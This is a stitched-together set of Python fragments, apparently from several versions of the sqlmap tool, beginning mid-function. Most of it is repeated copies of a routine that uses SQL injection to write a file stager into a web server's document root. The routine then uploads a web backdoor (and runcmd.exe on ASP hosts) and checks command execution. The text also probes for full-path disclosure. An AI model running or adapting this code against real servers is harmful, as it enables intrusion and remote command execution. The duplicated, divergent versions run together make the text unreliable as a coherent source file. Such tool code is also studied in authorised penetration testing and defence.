ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace( "WRITABLE_DIR", utf8encode( directory.replace('/', '\\\\') if Backend. isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin( self.webBaseUrl, stagerName) debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "文件stager上传在'%s', " % directory warnMsg += "但不动态解释" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "文件stager已成功上传到'%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "后门没有通过file stager成功上传," warnMsg += "这可能是因为运行Web服务器进程的用户没有权限" warnMsg += "在运行DBMS进程的用户文件夹中上传文件,因为没有写入权限," warnMsg += "或者因为DBMS和Web服务位于不同的服务器上" logger.warn(warnMsg) message = "你想尝试使用与文件stager相同的方法? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "命令执行测试" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "后门已经上传,但缺少运行系统命令的必需权限" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "后门已经成功 " else: infoMsg = "后门可能已经成功 " infoMsg += "上传到'%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def unescape(expression, quote=True): if quote: unescaped = expression for item in re.findall(r"'[^']+'", expression, re.S): try: unescaped = unescaped.replace(item, "0x%s" % binascii.hexlify(item.strip("'"))) except UnicodeEncodeError: unescaped = unescaped.replace(item, "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(item.strip("'")))) else: unescaped = "0x%s" % binascii.hexlify(expression) return unescaped
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError, msg: logger.warn("(remote) %s" % msg[0])
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath( directory) else directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) handle, filename = mkstemp() os.fdopen(handle).close( ) # close low level handle (causing problems later) with open(filename, "w+") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace( "WRITABLE_DIR", utf8encode( directory.replace('/', '\\\\') if Backend. isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if Backend.isOs(OS.WINDOWS): default = WEB_API.ASP else: default = WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) originalBackdoorContent = backdoorContent = backdoorStream.read() stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for docRoot in arrayizeValue(kb.docRoot): if success: break for directory in directories: uriPath = "" if not all(isinstance(_, basestring) for _ in (docRoot, directory)): continue directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') # '' or '/' -> 'docRoot' if not directory: localPath = docRoot uriPath = '/' # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue localPath = posixpath.normpath(localPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager self.__webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager via " infoMsg += "UNION technique" logger.info(infoMsg) handle, filename = mkstemp() os.fdopen(handle).close() # close low level handle (causing problems latter) with open(filename, "w+") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) f.write(utf8encode(_)) self.unionWriteFile(filename, self.webStagerFilePath, "text") uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: continue else: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % localPath warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorStream.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/') testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg)
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.warn(msg)
def escaper(value): retVal = None try: retVal = "0x%s" % binascii.hexlify(value) except UnicodeEncodeError: retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) return retVal
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError, msg: logger.warn(msg[0])